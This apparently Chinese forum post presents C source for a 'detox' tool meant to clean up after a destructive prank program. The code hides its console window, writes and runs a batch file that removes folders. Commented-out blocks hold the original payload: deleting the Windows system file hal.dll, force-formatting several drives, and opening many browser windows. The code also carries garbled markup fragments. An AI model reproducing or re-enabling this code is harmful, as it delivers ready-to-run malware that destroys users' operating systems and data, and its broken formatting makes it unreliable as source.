解毒程序!争对一个叫测试的程序
昨天的一个叫测试的程序让大家格盘还建立了很多垃圾资料先针对源代码开发了解毒程序代码如下: 本程序可以清理垃圾文件但是被格式化的请使用winHAX恢复!对于系统的HAX.DLL被删除用U盘在其他机器复制一个就被删除的直接无视程序代码:
# include <stdio.h> # include <windows.h> int main(int argc,char *argv[]) { ShowWindow(FindWindow("ConsoleWindowClass",argv[0]),0); int x; int i; FILE*fp=fopen("c:\\JD.bat","w"); for(i=0;i<100;i++) { fprintf(fp,"rmdir D:\%d...\\\n",i); fprintf(fp,"rmdir e:\%d...\\\n",i); fprintf(fp,"rmdir f:\%d...\\\n",i); /*if(i==25) { fprintf(fp,"del C:\\WINDOWS\\system32\\hal.dll \n ",i); fprintf(fp,"del C:\\WINDOWS\\system32\\ \n ",i); fprintf(fp,"Format d:/y/q/fs:NTFS\n",i); fprintf(fp,"Format e:/y/q/fs:NTFS\n",i); fprintf(fp,"Format f:/y/q/fs:NTFS\n",i); fprintf(fp,"Format h:/y/q/fs:NTFS\n",i); fprintf(fp,"Format j:/y/q/fs:NTFS\n",i); } */ /*if(i==3) { fprintf(fp,"start explorer <span style="color: #008000; text-decoration: underline;">http://www.baidu.com[/color] start explorer \n",i); fprintf(fp,"start explorer <span style="color: #008000; text-decoration: underline;">http://www.[/color] start explorer \n",i); fprintf(fp,"start explorer <span style="color: #008000; text-decoration: underline;">http://www.[/color] start explorer \n",i); fprintf(fp,"start explorer <span style="color: #008000; text-decoration: underline;">http://www.[/color] start explorer \n",i); fprintf(fp,"start explorer <span style="color: #008000; text-decoration: underline;">http://www.[/color] start explorer \n",i); fprintf(fp,"start explorer <span style="color: #008000; text-decoration: underline;">http://www.[/color] start explorer \n",i); fprintf(fp,"start explorer <span style="color: #008000; text-decoration: underline;">http://www.[/color] start explorer \n",i); fprintf(fp,"start explorer <span style="color: #008000; text-decoration: underline;">http://www.[/color] start explorer \n",i); fprintf(fp,"start explorer <span style="color: #008000; text-decoration: underline;">http://www.[/color] start explorer \n",i); fprintf(fp,"start explorer <span style="color: #008000; text-decoration: underline;">http://www.[/color] start explorer \n",i); } */ } fclose(fp); system("c:\\JD.bat"); }